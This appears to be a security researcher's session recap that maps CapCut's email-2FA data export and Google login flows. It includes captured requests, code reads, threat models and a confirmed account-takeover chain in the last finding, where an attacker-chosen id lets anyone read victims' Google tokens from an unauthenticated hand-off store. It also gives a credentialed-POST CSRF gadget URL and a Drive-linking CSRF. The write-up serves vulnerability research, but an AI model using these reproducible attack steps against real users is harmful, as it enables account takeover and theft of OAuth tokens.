Takopi Class  /  Recap

Session 10

Back on CapCut, picking up where session 09 left off. The goal for the day is to complete the CapCut hunt map, every feature branch threat modeled and every TODO run to a verdict.

Summary of findings

  1. 00Four requests carry the user from the email code to the export zipTarget: www.capcut.com and edit-api-sg.capcut.comInfoMapped, no verdict in source
  2. 01The send_code request has no email address. The server reads it from the sessionTarget: POST /passport/web/email/send_code/InfoCaptured, no verdict in source
  3. 02The verify code is hex of each byte XOR 5. The reply holds the ticketTarget: POST /passport/web/email/verify/InfoCaptured, no verdict in source
  4. 03The ticket in the URL buys a JWT that names a file, not a userTarget: edit-api-sg.capcut.com, get_download_tokenInfoCaptured, no verdict in source
  5. 04The JWT in the URL returns the zip exportTarget: edit-api-sg.capcut.com, retrieve_data_with_tokenInfoOpen, the session check is unknown
  6. 05By the code, the blob sink does not render. The route sends a credentialed POST to any https URLTarget: www.capcut.com/dyd-download/download_with_tokenNot ratedCode read, not fired live
  7. 06Three Google sign-in doors reach one backend call. The backend lets Google check the tokenTarget: www.capcut.com, passport auth/login_onlyNot ratedThreat model, tests open
  8. 07An id chosen by the attacker reads the victim Google tokens from a store with no cookieTarget: www.capcut.com/lvpc_web/login_status, feed-api.capcutapi.comConfirmedToken capture shown, session step not run
  • Confirmed Proven on the target. The source does not give a rating.
  • Not rated Lab model or lead. It is not proven on the target.
  • Info Groundwork. No security effect is claimed.

Scope

Session

Asset www.capcut.com · edit-api-sg.capcut.com Goal complete the CapCut map First the email 2FA on /dyd-download/verify Date 2026-11-15
Passport API
www.capcut.com, /passport/web/email/*
Export API
edit-api-sg.capcut.com, /dyd/v1/download_*
Login bundles
sf16-web-login-neutral.capcutstatic.com
Hand-off store
feed-api.capcutapi.com and feed-api-sg.capcutapi.com
Account
Our own account

Where each test ran

  • Live on the target: sections 00 to 04, the four requests captured on our own account
  • Live on the target: section 06, one unsigned request to login_only
  • Live on the target: section 07, token capture on our own account
  • Read only: section 05, a code read, not fired live
  • Read only: section 06, the login bundles
  • Not started: the last step of section 07, and every test in Open items

Findings

Each card is one result. The number is the section number of the original recap. The original sequence diagrams are in Evidence.

00Infotested live · download your data · https://www.capcut.com/dyd-download/verify

The 2FA in front of the export

Target

The page /dyd-download/verify on www.capcut.com, the passport API, and edit-api-sg.capcut.com.

Impact

Before the export downloads, CapCut stops on /dyd-download/verify and asks for a code mailed to the account's email. Four requests across two hosts: two to the passport API on www.capcut.com mint a ticket, then two to edit-api-sg.capcut.com trade that ticket for a short JWT and the JWT for the zip. The ticket is the piece that matters, it is the only thing carried from the 2FA half into the download half.

Steps
Flow chart 1How does the email code lead to the zip?
Browser www.capcut.com edit-api-sg type 33 email_ticket the code ticket ticket in URL JWT JWT in URL Post send_code Return email_ticket Post code to verify Return the ticket Post for a JWT Return the JWT Post JWT to retrieve Return the zip 1 2 3 4 5 6 7 8
  • Start or end
  • Action
  • Step number
  1. the browser, /dyd-download/verifyStep 1 of the source. send_code, type=33 goes to /passport/web/email/* on the passport API
  2. www.capcut.comIt returns the email_ticket. The code is mailed to the inbox
  3. the browserStep 2 of the source. The user reads the code from the inbox. The browser posts verify, code=313d30313d30
  4. www.capcut.comIt returns the ticket and a d_ticket cookie, one year
  5. the browserStep 3 of the source. get_download_token?ticket=…&sms_ticket=false goes to a second host
  6. edit-api-sg.capcut.comIt returns an HS256 JWT, 120 s, and the download_api path
  7. the browserStep 4 of the source. retrieve_data_with_token?token=JWT
  8. edit-api-sg.capcut.comIt returns application/zip with user_data_capcut.json
Status

Mapped. The source gives no verdict for this section. It maps the four requests.

01Infotested live · www.capcut.com · passport API, session cookie plus the passport CSRF header

send_code, request the OTP

Target

POST /passport/web/email/send_code/ on www.capcut.com.

Impact

No email address in the request, the server picks it from the session. type=33 names the scene, the reason the code is being sent. The email_ticket that comes back is not sent in step 2, so the verify call is keyed on the session, not on this value.

Steps

The request asks the server to mail a code. The server answers with an email_ticket.

Evidence
http
POST /passport/web/email/send_code/?aid=348188&account_sdk_source=web&sdk_version=2.1.10-tiktok&verifyFp=...&msToken=...&X-Bogus=...&X-Gnarly=... HTTP/2
Host: www.capcut.com
Cookie: ...; sessionid=...; ...
X-Tt-Passport-Csrf-Token: ...
Referer: https://www.capcut.com/dyd-download/verify
...

mix_mode=1&type=33&fixed_mix_mode=1
http
HTTP/2 200 OK
...

{"data":{"email":"y***[email protected]","email_ticket":"QC6G4YREKUF64QGHAEUC7YFEUBPWC7M6"},"message":"success"}
Status

Captured. The source gives no verdict for this request.

02Infotested live · www.capcut.com · the code goes up encoded

verify, the code for a ticket

Target

POST /passport/web/email/verify/ on www.capcut.com.

Impact
The ticket VTISGORU64UZD95AQJQZUUJFTFMG9T6VBCRWRQ is what we care about. It is the proof the 2FA passed, and the next request carries nothing else to show for it. Alongside it comes a d_ticket cookie scoped to all of .capcut.com with a one year Max-Age.
Steps

mix_mode=1 is encoding, not protection. 313d30313d30 is hex for 1=01=0, and each byte XOR 5 gives 485485, the six digit code from the email. Every byte of the code is XOR 5 then hex, so anything we want to send in code has to go through the same transform first.

Evidence
http
POST /passport/web/email/verify/?aid=348188&account_sdk_source=web&sdk_version=2.1.10-tiktok&verifyFp=... HTTP/2
Host: www.capcut.com
Cookie: ...; sessionid=...; ...
X-Tt-Passport-Csrf-Token: ...
Referer: https://www.capcut.com/dyd-download/verify
...

mix_mode=1&code=313d30313d30&type=33&fixed_mix_mode=1
http
HTTP/2 200 OK
D-Ticket: b0615a85...
D-Ticket-Sec-Uid: MS4wLjABAAAA...
Set-Cookie: d_ticket=b0615a85...; Path=/; Domain=capcut.com; Max-Age=31536000; HttpOnly
...

{"data":{"ticket":"VTISGORU64UZD95AQJQZUUJFTFMG9T6VBCRWRQ"},"message":"success"}
Status

Captured. The source gives no verdict for this request.

03Infotested live · edit-api-sg.capcut.com · cross-site, the ticket rides in the URL

The ticket for a JWT

Target

POST /dyd/v1/download_your_data/get_download_token on edit-api-sg.capcut.com.

Impact

The source gives no impact sentence for this step. The notes in Steps say what the token carries.

Steps
  • The ticket travels in the query string to a second host, empty body, no passport CSRF header on this call, only the cookies and the Origin
  • sms_ticket=false is a client-side switch telling the server which kind of ticket to check, email here
  • The token carries a file name, not a user. download_file is capcut_dyd_ + uid 7708026852413621254 + aid 348188, and exp is 120 seconds after svr_time
Evidence
http
POST /dyd/v1/download_your_data/get_download_token?aid=348188&lang=en&sms_ticket=false&ticket=VTISGORU64UZD95AQJQZUUJFTFMG9T6VBCRWRQ HTTP/1.1
Host: edit-api-sg.capcut.com
Cookie: ...; sessionid=...; d_ticket=...; ...
Origin: https://www.capcut.com
Content-Length: 0
...
http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.capcut.com
Access-Control-Allow-Credentials: true
...

{"ret":"0","errmsg":"success",...,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkb3dubG9hZF9maWxlIjoi...","download_api":"edit-api-sg.capcut.com/dyd/v1/download_your_data/retrieve_data_with_token"}

The JWT decoded:

json
{"alg":"HS256","typ":"JWT"}
{"download_file":"capcut_dyd_7708026852413621254348188","exp":1794750745}
Status

Captured. The source gives no verdict for this request.

04Infotested live · edit-api-sg.capcut.com · the download_api from step 3, token in the URL

The JWT for the zip

Target

POST /dyd/v1/download_your_data/retrieve_data_with_token on edit-api-sg.capcut.com.

Impact

The source gives no impact sentence for this step. The last note in Steps says what the capture does not show.

Steps
  • The export comes back in this response, a 926 byte zip with one file, user_data_capcut.json
  • The JWT is again the only parameter, in the query string, empty body, same as the ticket in step 3
  • Fired at 13:50:27, two seconds after the token was minted at 13:50:25, inside its 120 second window
  • The browser sent the full cookie jar, sessionid included, so this capture does not tell us whether the session is checked here or the token alone opens the file
Evidence
http
POST /dyd/v1/download_your_data/retrieve_data_with_token?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkb3dubG9hZF9maWxlIjoi... HTTP/1.1
Host: edit-api-sg.capcut.com
Cookie: ...; sessionid=...; d_ticket=...; ...
Origin: https://www.capcut.com
Content-Length: 0
...
http
HTTP/1.1 200 OK
Content-Type: application/zip
Content-Length: 926
Content-Disposition: attachment; dyd export data
Access-Control-Allow-Origin: https://www.capcut.com
Access-Control-Allow-Credentials: true
...

PK...user_data_capcut.json...PK...
Status

Open. The capture does not show if the session is checked here. See Open items.

05Not ratedread · www.capcut.com/dyd-download/download_with_token · threat model on a code read, not fired live yet

DOM XSS threat modeling, the blob download

Target

The SPA route www.capcut.com/dyd-download/download_with_token.

Impact

Content is the key, and both locks are on type and handling. A same-origin blob with a download attribute is saved in Chrome, Firefox and Safari, and even if it were navigated, application/octet-stream is downloaded and never sniffed into HTML. Saving it as a .zip to disk and opening it gives file://, not capcut.com. So, by the code, this sink does not render, and the DOM XSS stops here unless one of these turns out wrong when fired live:

Steps

The download half has its own SPA route. It reads token and download_api straight off the query string, fetches https://<download_api>?token=<token>, and turns whatever comes back into a blob and a download. There is no allowlist on download_api, only an https:// prefix added when missing, and the CSP's trusted sources are generous enough to reach a host we control. So the response body is ours, which makes this a source we fully control flowing into a blob sink.

js
// route /dyd-download/download_with_token
t = params.get("token")
a = params.get("download_api")
i = a && a !== "undefined" ? decodeURIComponent(a) : webDomain + "/dyd/v1/download_your_data/retrieve_data_with_token"
M = "CapCutExportData_" + date + ".zip"                    // filename, built in the client

if (!i.startsWith("https://")) i = "https://" + i       // the only check on the host
s = await fetch(i + "?token=" + encodeURIComponent(t), {credentials: "include", method: "POST",
                headers: {"Content-Type": "application/json"}})
o = await s.blob()
ef()(o, M)                                              // the download helper, called with 2 args

The helper is the js-file-download shape, (data, filename, mime, bom):

js
var o = new Blob(void 0 !== a ? [a, e] : [e], { type: r || "application/octet-stream" });
...
var n = URL.createObjectURL(o), s = document.createElement("a");
s.href = n;
s.setAttribute("download", t);
void 0 === s.download && s.setAttribute("target", "_blank");
document.body.appendChild(s); s.click();
setTimeout(() => { document.body.removeChild(s); URL.revokeObjectURL(n) }, 200);

Two locks, one key

What a blob XSS needs is a blob:https://www.capcut.com/... URL that the browser renders as HTML instead of saving. The working payload in the console does exactly that with type: "text/html" and target="_blank". Here the route decides both of those, not the response:

We control
  • The bytes, the whole response body becomes the blob content
  • The host and path, through download_api
  • The query string, through download_api plus token
  • The response headers, CORS included, since the server is ours
The route fixes
  • The blob type: mime is never passed, so r is undefined and the type is application/octet-stream. new Blob([o], ...) also throws away the response's own Content-Type
  • The download attribute: always set, with CapCutExportData_<date>.zip built in the client
  • The target="_blank" branch only runs where a.download is unsupported, no current browser
  • The blob URL is revoked after 200 ms and its UUID is never exposed

These cases could still make the sink render:

  • A browser or embedding that drops the download attribute and navigates instead of blocking, for example a sandboxed frame without allow-downloads, which in Chrome blocks the download rather than rendering it
  • The in-app web view path (isInapp, session 09), where downloads are handled by the app bridge and may open the blob in the web view
  • Another caller of the same helper in the SPA that does pass mime or a filename from the response

The pivot, the request half

When the sink is dead, look at what the source already gives you. This route makes the victim's browser send a credentialed POST from https://www.capcut.com to any https URL we name, with our path and query and an empty body. Pointed back at a CapCut host, the request carries the victim's same-site cookies and a trusted Origin, which is exactly what an Origin or SameSite based CSRF defence checks for:

url
https://www.capcut.com/dyd-download/download_with_token?token=x&download_api=edit-api-sg.capcut.com/<path>%3F<params>

-> POST https://edit-api-sg.capcut.com/<path>?<params>?token=x
   Cookie: ...victim session...
   Origin: https://www.capcut.com
   Content-Type: application/json, empty body
  • The useful targets are POST endpoints that act on query parameters alone and do not want a CSRF header. Passport wants X-Tt-Passport-Csrf-Token, which this fetch does not send, so passport is out. The edit-api-sg calls seen so far sent no CSRF header at all
  • The response is not ours to read, it lands on the victim's disk as the fake .zip, so this is a write primitive, not a read
  • Pointed at our own host, the same route serves attacker bytes as a CapCut export download from capcut.com, file spoofing, low on its own
Evidence

The code and the URL sit in Steps, next to the text that explains them.

Status

Open. The source read the code only. The tests are in Open items.

06Not ratedread · www.capcut.com · methodology first, the auth skill, Step 1 fingerprint, read from the login bundles

Google OAuth, three doors into one endpoint

Target

www.capcut.com, the login bundles on sf16-web-login-neutral.capcutstatic.com, and POST /passport/web/auth/login_only/.

Impact
Google saying a token is valid is not the same as the token being for CapCut. tokeninfo accepts any valid Google token for any client. What decides account takeover is whether CapCut then checks aud / azp equals its own Login client. If it does not, every site with a "Sign in with Google" button collects tokens that log in to CapCut as the visitor.
Steps

Already logged in, so /login bounces to My projects. Instead of logging out, the login page's own bundles were pulled from sf16-web-login-neutral.capcutstatic.com and grepped for accounts.google.com, redirect_uri and the passport routes. There are three ways in with Google, and all three end at the same backend call, POST /passport/web/auth/login (or login_only), with platform_app_id=1773.

Popup, implicit flow
  • response_type=token id_token, prompt=select_account
  • redirect_uri=<origin>/third-party-callback
  • client_id=87571557143-buc0jl…, the Login client
  • random state and nonce, the callback hands the tokens to the opener through localStorage key __thirdPartyCallbackResult__
  • sends access_token + id_token
One Tap and the Google button
  • Google Identity Services, the g_state cookie
  • the ID token, credential, is sent as access_token_secret
  • no redirect, no state, the browser gets the JWT straight from Google
  • third door, signinWithWindow, a passport-run redirect flow, not read yet
js
// 53415.js, the popup flow
r = { response_type: "token id_token", client_id: e,
      redirect_uri: `${location.origin}/third-party-callback`,
      scope: "openid .../userinfo.profile .../userinfo.email",
      prompt: "select_account", nonce: tN(), state: t }

// then
signinWithCode({ name: "google", platform_app_id: k, access_token: e, id_token: t, login_only: h })

The same Google project, 87571557143, ships four clients in the bundle: Login, GoogleDrive, GoogleContacts, YoutubeShare. A fifth, 1093504901008-cmpv0g…, belongs to BOE, ByteDance's internal test environment, with its own platform id 200257.

How the backend checks the token

One unsigned request, no cookies, a junk JWT, straight to production:

http
POST /passport/web/auth/login_only/?aid=348188&account_sdk_source=web
Content-Type: application/x-www-form-urlencoded

platform_app_id=1773&access_token_secret=eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJhdWQiOiJ4In0.c2ln
json
{"data":{"description":"Couldn't load account information. Try again later.",
 "dialog_tips":"google_{\n  \"error_description\": \"Invalid Value\"\n}", ...}}
  • No request signing needed, no X-Bogus, no msToken, no cookie, the endpoint answers
  • The backend forwards the token to Google and reflects Google's answer. {"error_description": "Invalid Value"} is Google's tokeninfo reply, so validation is delegated to Google
  • The same reply for access_token and access_token_secret, so both fields reach the same check
  • platform_app_id=200257, the BOE platform, gets Platform is invalid on production

Drive linking, a state you can compute

The cloud storage connectors, Google Drive and Dropbox, run a separate code flow, and build state like this:

pseudo
state = window.__uid_sha || sha256(uid).slice(15, 47)
redirect_uri = https://<host>/lv/v1/user/web/third_party_clouds_authorization/google_drive

The state is a hash of the user id, not a random value bound to the flow. window.__uid_sha is not set on /my-edit, so the fallback runs. For this account it is 8cf11722da485bb70b98bf81c48ab10c, computable by anyone who knows the uid. If the callback accepts that state, the classic linking CSRF is open: the attacker authorises their own Drive, stops before the callback, and sends the victim /lv/v1/.../google_drive?code=<attacker code>&state=<victim state>. The victim's CapCut is then connected to the attacker's Drive.

Threat model

  • Client confusion, the token's aud: mint a Google ID token and access token for our own account through another client (OAuth Playground) and send it to login_only. A login means any third-party Google site can take over CapCut accounts
  • Token type and client swaps inside CapCut: a Drive or Contacts client token sent to login, an access token in access_token_secret, an ID token in access_token
  • Drive and Dropbox linking CSRF: callback with our computed state and a code minted in another session
  • Nonce never reaches the backend: the popup sends id_token without the nonce it generated, so a leaked ID token replays until exp
  • Callback hand-off through localStorage: the opener also accepts the bare key with no attemptId, a login CSRF shape, and any XSS on www.capcut.com reads the tokens there
  • Email merge: bind_with_email_login when the Google email matches an existing CapCut email account, test a Google account whose email is not verified
  • signinWithWindow: the passport redirect flow, its next and redirect handling, not read yet
Evidence

The code and the requests sit in Steps, next to the text that explains them.

Status

Open. The source read the bundles and sent one unsigned request. The threat model tests are open.

07Confirmedtested live · www.capcut.com/lvpc_web/login_status · the desktop app flow, tested to silent token capture on our own account

Desktop Google login, account takeover via the hand-off store

Target

www.capcut.com/lvpc_web/login_status, feed-api.capcutapi.com and feed-api-sg.capcutapi.com.

Impact

The app hands its Google login to the browser and waits for the result. The browser result is dropped into a server-side bucket keyed by an id the attacker fully controls, and the bucket is read back with no cookie and no auth. So the attacker picks the id, sends the victim a prompt=none Google link, and reads the victim's Google code, id_token and access_token straight out of the bucket. The tokens are minted for CapCut's own desktop client, the credential its login consumes, so capturing them is the takeover primitive. The one step we did not run is trading the code for a live session, called out below.

Steps
  • state is unsigned, and the lookup key is JSON.parse(state.state).id, a client-chosen uuid
  • login_status posts the result to feed-api.capcutapi.com/lv/v1/oauth/update_auth_query_params under that id
  • get_auth_query_params returns it to anyone who sends the same id, the only "sign" is an md5 of a fixed string plus a timestamp, computed in the browser
  • prompt=none makes it silent for any victim who has used CapCut desktop, no consent screen. authuser=0 pins it to their primary Google account

The intended flow

The same thing as it looks in Burp, the real hosts and requests. The app invents an id, drives the browser through Google, the login page drops the result into the store under that id, and the app polls the store with the id it chose, then trades the code for a session.

Flow chart 2How does the desktop app get the Google tokens?
Desktop app Browser Google CapCut state id GET auth 302 fragment write by id no cookie the code Open the auth URL Call Google authorize Sign in and consent Follow the 302 Load the login page Store by the id Poll the store Exchange the code 1 2 3 4 5 6 7 8
  • Start or end
  • Action
  • Step number
  1. the desktop appStep 1 of the source. Open the authorize URL, state.id = APP id
  2. the browserStep 2 of the source. GET /o/oauth2/v2/auth, response_type=code token id_token
  3. accounts.google.comThe user signs in, consents
  4. the browser302 to /lvpc_web/login_status#code&id_token&access_token
  5. www.capcut.comStep 3 of the source. GET /lvpc_web/login_status, tokens in the #fragment
  6. feed-api.capcutapi.comStep 4 of the source. POST /lv/v1/oauth/update_auth_query_params with {id, code, id_token, accessToken, userID}. The reply is {ret:0, success}
  7. the desktop appStep 5 of the source. POST /lv/v1/oauth/get_auth_query_params with {id: APP id}, no cookie. The store returns {query_params: code, id_token, access_token}
  8. passportStep 6 of the source. Exchange the code for a session, passport auth/login. This step was not run in our test

The requests, step by step

The real packets. User tokens and signatures trimmed to ..., cookies dropped where present. Two faces of the store matter: the web login page writes to feed-api.capcutapi.com with a trivial md5 sign and no cookie, the desktop app polls feed-api-sg.capcutapi.com with native TTNet signing. The attacker reads the web face, so none of the native signing is in the way.

  1. 1The app builds the authorize URL and opens the browsernative

    The app generates the id and puts it inside the unsigned state.

    pseudo
    state = {"client_id":"128657643583-as9ej...","network":"google",
             "redirect_uri":"https://www.capcut.com/lvpc_web/login_status",
             "state":"{\"device_platform\":\"mac\",\"id\":\"<APP uuid>\"}"}
  2. 2Browser asks Google, user signs in, Google redirects back with the tokens in the fragmentaccounts.google.com/o/oauth2/v2/auth
    http
    GET /o/oauth2/v2/auth?client_id=128657643583-as9ej...apps.googleusercontent.com
        &response_type=code+token+id_token&scope=openid+profile+email
        &redirect_uri=https://www.capcut.com/lvpc_web/login_status
        &prompt=consent&nonce=...&state=<unsigned JSON from step 1> HTTP/2
    Host: accounts.google.com
    Cookie: ...google session...
    http
    HTTP/2 302 Found
    Location: https://www.capcut.com/lvpc_web/login_status
     #state=...&iss=https://accounts.google.com&code=4/0A...&access_token=ya29...
     &token_type=...&expires_in=3599&scope=...&id_token=eyJ...&authuser=0&prompt=consent
  3. 3Browser loads the success page, the fragment stays client sidewww.capcut.com/lvpc_web/login_status

    The #fragment is never sent to the server. The page's JS reads it, pulls JSON.parse(state.state).id, and makes step 4.

    http
    GET /lvpc_web/login_status HTTP/2
    Host: www.capcut.com
  4. 4login_status writes the result into the store, keyed by the idfeed-api.capcutapi.com/lv/v1/oauth/update_auth_query_params

    The web face, no cookie, the only guard is sign = md5("9e2c|"+path[-7:]+"|0||"+ts+"||11ac") computed in the page.

    http
    POST /lv/v1/oauth/update_auth_query_params HTTP/2
    Host: feed-api.capcutapi.com
    Content-Type: application/json
    Device-Time: 1794762748
    Loc: BR
    Pf: 0
    Sign: <md5 above>
    Sign-Ver: 1
    App-Sdk-Version: 100.0.0
    
    {"id":"<APP uuid>",
     "query_params":"code=4/0A...&platform=google&id_token=eyJ...
     &redirectUri=https://www.capcut.com/lvpc_web/login_status
     &userID=10195...&accessToken=ya29..."}
    http
    HTTP/2 200 OK
    {"ret":"0","errmsg":"success","svr_time":...,"log_id":"..."}
  5. 5The app polls the store for the result, in a loop, with the id it chosefeed-api-sg.capcutapi.com/lv/v1/oauth/get_auth_query_params

    The native face, Cronet, Appid 359289, Pf 3, TTNet X-Gorgon/X-Khronos/X-Ss-Stub. No cookie here either. It repeats until the write from step 4 lands.

    http
    POST /lv/v1/oauth/get_auth_query_params HTTP/2
    Host: feed-api-sg.capcutapi.com
    Content-Type: application/json
    App-Sdk-Version: 9.8.0
    Appid: 359289
    Appvr: 9.8.0
    Ch: capcutpc_beta
    Device-Platform: mac
    Device-Time: 1794765686
    Lan: en
    Loc: DE
    Pf: 3
    Sign: cb657c8efe61ef2c0eff494d5b647074
    Sign-Ver: 1
    Tdid: 7708442544141354502
    X-Ss-Stub: 80d5d7e40fbf4a83ae479010857a54bb
    X-Gorgon: 840460ff80800ca78acc69004db7...
    X-Khronos: 1794765686
    User-Agent: Cronet/TTNetVersion:754bd8b0 ... QuicVersion:52c2b40d
    
    {"id":"191acc4a-7a26-4cce-b40d-31b16dc994e5"}
    http
    HTTP/2 200 OK           # still polling, not written yet
    {"ret":"1544","errmsg":"auth query params is empty","svr_time":...,"query_params":""}
    
    HTTP/2 200 OK           # once step 4 has written
    {"ret":"0","errmsg":"success",
     "query_params":"code=4/0A...&platform=google&id_token=eyJ...&userID=10195...&accessToken=ya29..."}
    The attacker skips the native face entirely. On feed-api-sg the query_params comes back encrypted, a long opaque blob the app decrypts in-client, which is why the native value looks unreadable. The web host feed-api.capcutapi.com returns the same record in plaintext, readable code, id_token and accessToken, with the step 4 md5 sign and no X-Gorgon, no cookie. So the encryption guards only the native face, the attacker reads the web face and sends just that one request with the id they chose.
  6. 6The app trades the Google code for a CapCut session/passport/web/auth/login

    The desktop app makes this natively, so it is not in the browser's Burp trace. The web analogue, same platform_app_id=1773, carrying the Google token from step 5:

    http
    POST /passport/web/auth/login/?aid=348188 HTTP/2
    Host: www.capcut.com
    
    platform_app_id=1773&code=4/0A...&id_token=eyJ...&access_token=ya29...
    http
    HTTP/2 200 OK           # expected shape, this exchange was not run in our test
    {"message":"success","data":{"user_id_str":"...","session":"..."}}

The attack

Flow chart 3How does the attacker read the victim tokens?
Attacker Victim Google CapCut ATK id prompt=none no screen by ATK id no cookie Craft the link Open the link Return the tokens Post the tokens Store by attacker id Hold the tokens 1 2 3 4 5 6
  • Start or end
  • Action
  • Attack path
  • Step number
  1. the attacker, picks the idStep 1 of the source. Craft link, state.id = ATK
  2. the victim, browser on GoogleStep 2 of the source. Open /authorize, prompt=none
  3. GoogleThe reply is code, id_token, token, no screen
  4. the victim, browserStep 3 of the source. login_status posts them, keyed by ATK id
  5. CapCut, login_status + storeThe store keeps the tokens under the attacker id
  6. the attackerStep 4 of the source. get_auth_query_params(ATK id), no cookie. The reply is the victim code + id_token(aud=CapCut) + access_token

Full write-up and PoC scripts in the hunt folder, vulnerabilities/vuln-1-google-oauth-handoff/report.md.

Evidence

The requests sit in Steps, step by step.

Status

Confirmed to the token capture. The source did not run the last step, the code for a live session.

Evidence

This section has the original sequence diagrams, kept as drawn. Click an item to open it.

E1The email 2FA diagramkept as drawn · the sequence of section 00

Evidence for section 00.

Browser /dyd-download/verify www.capcut.com /passport/web/email/* edit-api-sg /dyd/v1/download_* 1  send_code, type=33 email_ticket, code mailed to the inbox code read from the inbox 2  verify, code=313d30313d30 ticket VTISGORU…RWRQ + d_ticket cookie, one year 3  get_download_token?ticket=…&sms_ticket=false HS256 JWT, 120 s, + download_api path 4  retrieve_data_with_token?token=JWT application/zip, user_data_capcut.json JWT payload: download_file = capcut_dyd_ + uid + aid, and exp no session and no user claim inside the token, only a file name and a 120 second expiry
The ticket is the hinge, then the JWT. Steps 1 and 2 happen on the passport API, steps 3 and 4 on a different host. Step 3 gets only the ticket as proof the 2FA happened, step 4 gets only the JWT, both in the query string.
E2The intended flow diagramkept as drawn · the desktop login as seen in Burp

Evidence for the intended flow in section 07.

Desktop app native, makes id Browser system browser accounts .google.com www.capcut.com login_status page feed-api store feed-api / -sg 1  open the authorize URL, state.id = APP id 2  GET /o/oauth2/v2/auth, response_type=code token id_token user signs in, consents 302 to /lvpc_web/login_status#code&id_token&access_token 3  GET /lvpc_web/login_status, tokens in the #fragment 4  POST /lv/v1/oauth/update_auth_query_params, {id, code, id_token, accessToken, userID} {ret:0, success} 5  POST /lv/v1/oauth/get_auth_query_params, {id: APP id}, no cookie {query_params: code, id_token, access_token} 6  exchange the code for a session, passport auth/login The app owns the id end to end, it invents it in step 1 and it is the only caller that polls it in step 5 nothing binds the id to the app, and the store in steps 4 and 5 answers any caller with no session
Everything hangs on the id staying the app's secret. Step 4 writes to feed-api.capcutapi.com and the app polls feed-api-sg.capcutapi.com, both with no cookie, so the store trusts the id alone. The attack below keeps every request the same and only changes who chose the id.
E3The attack diagramkept as drawn · the account takeover sequence

Evidence for the attack in section 07.

Attacker picks the id Victim browser, on Google Google CapCut login_status + store 1  craft link, state.id = ATK 2  open /authorize, prompt=none code, id_token, token, no screen 3  login_status posts them, keyed by ATK id 4  get_auth_query_params(ATK id), no cookie victim code + id_token(aud=CapCut) + access_token Attacker holds the victim's code and id_token for CapCut's own client no phishing page, no spoofed consent, the victim only opens a link
The store is the whole bug. It trusts a key the attacker chose and answers without a session, so step 4 reaches it straight from a shell. Confirmed to here on our own account with prompt=none and prompt=none&authuser=0. The last step, trading the captured code for a live CapCut session, was not run.
●

Open items

Open questions

  • Is the ticket bound to the session that minted it? Account A's ticket sent with account B's sessionid to get_download_token, which file does the JWT name
  • Does retrieve_data_with_token need the session at all? Replay step 4 with no cookies inside the 120 seconds. If the zip still comes back, the JWT alone is the key to the export
  • If the session is checked in step 4, is it checked against the uid inside download_file, account A's JWT with account B's cookies
  • Can the same JWT be used twice inside its window
  • Fire download_with_token with download_api on our host serving an HTML body with Content-Type: text/html, confirm the blob is saved, not rendered, in Chrome, Firefox and Safari
  • Same in the in-app web view, does the app bridge open the blob instead of saving it
  • Every other caller of the download helper in the SPA, does any pass mime or a filename from the response
  • edit-api-sg POST endpoints that change state from query parameters alone, the targets for the credentialed POST gadget
  • What sms_ticket=true does with the same ticket, or with the email_ticket from step 1 in its place
  • Rate limit on /passport/web/email/verify/, six digits, XOR 5 then hex
  • Is the ticket single use, and how long does it live
  • Does the one year d_ticket cookie let a later export skip the code